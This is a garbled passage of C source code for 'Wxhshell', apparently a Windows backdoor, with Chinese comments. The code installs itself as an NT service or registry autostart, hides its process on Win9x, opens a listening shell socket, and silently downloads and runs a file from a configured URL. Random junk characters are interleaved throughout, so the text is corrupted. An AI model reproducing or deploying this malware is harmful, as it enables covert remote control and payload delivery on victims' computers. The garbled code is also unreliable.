c0;rvw7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^F&j;8U z[y CloseHandle(hProcess); v8n^~=SH amQTPNI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gdq6jz if(hProcess==NULL) return 0; }_('3C,Ba &(e5*Q HMODULE hMod; 7
D{% char procName[255]; B:Awy/XMi unsigned long cbNeeded; +O.qYX S)/548=` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jmcys
_N3 _]{LjJ!M CloseHandle(hProcess); (H\ `/%Bp nzbAQ3v if(strstr(procName,"services")) return 1; // 以服务启动 $VhY"< &9"Y:), return 0; // 注册表启动 }6=?
zs} } _ {6l} LF#[$
so{i // 主模块 B#cN'1c int StartWxhshell(LPSTR lpCmdLine) 8H`L8:
CM { 'sE["eC SOCKET wsl; h@o6=d=4 BOOL val=TRUE; iio-RT?! int port=0; Kmw #Q` struct sockaddr_in door; .Lu3LVS )PW|RW if(wscfg.ws_autoins) Install(); EY:H\4) p}5413z5Z= port=atoi(lpCmdLine); SpYmgL?wJ @;N(3| n7 if(port<=0) port=wscfg.ws_port; i%,
't xLfv:Rp WSADATA data; b*/Mco 9O if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #=;vg /Gn0|]KI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DIJmISk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )dh`aQ%N " door.sin_family = AF_INET; RD=V`l{Z door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hsd76z#8 door.sin_port = htons(port); upX@8WxR c((bUjS'=Y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B9%%jEH* closesocket(wsl); dZI["FeO&d return 1; ^@{"a } *u",-n c?REDj2 if(listen(wsl,2) == INVALID_SOCKET) { 9X
+dp closesocket(wsl); yqVoedN return 1; *M_^I)*L } <q>d@Foi Wxhshell(wsl); )[|_q, WSACleanup(); (E,Ibz2G:e 7upWM~H^ return 0; yz5! >|EB 7[UD;&\k } q]VB}nO 5G$ ,2i( // 以NT服务方式启动 gS@<sO$d> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y.6/x?Qc { Z0<s
-eN: DWORD status = 0; w=a$]` DWORD specificError = 0xfffffff; I)s_f5' S#r|?GYua serviceStatus.dwServiceType = SERVICE_WIN32; x 4sIZe+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0L1sF'ZN serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )!caOGvhJ serviceStatus.dwWin32ExitCode = 0; cc:$$_'L serviceStatus.dwServiceSpecificExitCode = 0; <(B|g&A serviceStatus.dwCheckPoint = 0; #Sx serviceStatus.dwWaitHint = 0; ^!0z+M:>^ wG9aX*(n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9qgs*]J if (hServiceStatusHandle==0) return; `@v;QLD"d< 4>a(!ht status = GetLastError(); f-ceDn if (status!=NO_ERROR) d3S Me { fOME&$=O serviceStatus.dwCurrentState = SERVICE_STOPPED; {?2|rv) serviceStatus.dwCheckPoint = 0; 'W>y v serviceStatus.dwWaitHint = 0; <RZqs serviceStatus.dwWin32ExitCode = status; #f HnM+ serviceStatus.dwServiceSpecificExitCode = specificError;
3bR%#G% SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^SKHYo`,,N return; )rt%.` } g_N^Y Jj5VBI!Ok serviceStatus.dwCurrentState = SERVICE_RUNNING;
S~E@A.7 serviceStatus.dwCheckPoint = 0; {
0&l*@c& serviceStatus.dwWaitHint = 0; <VutwtA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s{8=Q0^ } G--(Ef%v' BV
}CmU&DA // 处理NT服务事件,比如:启动、停止 f}p`<z VOID WINAPI NTServiceHandler(DWORD fdwControl) &/ED.K { RqP_^tB switch(fdwControl) RyG6_G} { ^y KkWB* case SERVICE_CONTROL_STOP: BzkfB:wr serviceStatus.dwWin32ExitCode = 0; F|qMo| serviceStatus.dwCurrentState = SERVICE_STOPPED; DV[FZ serviceStatus.dwCheckPoint = 0; -mn/Yv serviceStatus.dwWaitHint = 0; u@`a~ { G%;>_E SetServiceStatus(hServiceStatusHandle, &serviceStatus); '3Q~y"C+4 } D~U RY_[A return; w6)Q5H53) case SERVICE_CONTROL_PAUSE: f 1+ serviceStatus.dwCurrentState = SERVICE_PAUSED; {"%a-*@% break; kh:_,g case SERVICE_CONTROL_CONTINUE: Lo#G. s| serviceStatus.dwCurrentState = SERVICE_RUNNING; x[Hx.G}5+ break; peT91b case SERVICE_CONTROL_INTERROGATE: _ DT,iF*6 break; CCol>:8{P }; JbS[(+o SetServiceStatus(hServiceStatusHandle, &serviceStatus); O9/)_:Wdh } &qWB\m -gS9I^ // 标准应用程序主函数 *hJWuMfY, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #ojuSS3 { 2f@Cy+W'[ m'"H1~BW // 获取操作系统版本 l>`66~+s,` OsIsNt=GetOsVer(); $u'"C|>8 GetModuleFileName(NULL,ExeFile,MAX_PATH); ;UM(y@ S50}]5K
// 从命令行安装 VltM{-k^ if(strpbrk(lpCmdLine,"iI")) Install(); mH0OW W=w]`' // 下载执行文件 saQs<1 if(wscfg.ws_downexe) { Q"nw.FjUG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YG8V\4
SQ WinExec(wscfg.ws_filenam,SW_HIDE); 1[u{y{9 q } !<HMMf,-D SQn.`0HT if(!OsIsNt) { VjNr<~ |d // 如果时win9x,隐藏进程并且设置为注册表启动 Mj6,VD9L HideProc(); (a8iCci: StartWxhshell(lpCmdLine); 2[uFAgf@ } G.~Q2O#T else REE.8_ if(StartFromService()) !ehjLFS? _ // 以服务方式启动 1iLo$ StartServiceCtrlDispatcher(DispatchTable); 2,`X@N`\ else $fT5Vc]B4 // 普通方式启动 f\_PNZCc StartWxhshell(lpCmdLine); 3nc\6v% O6)Po return 0; .ml\z5 }
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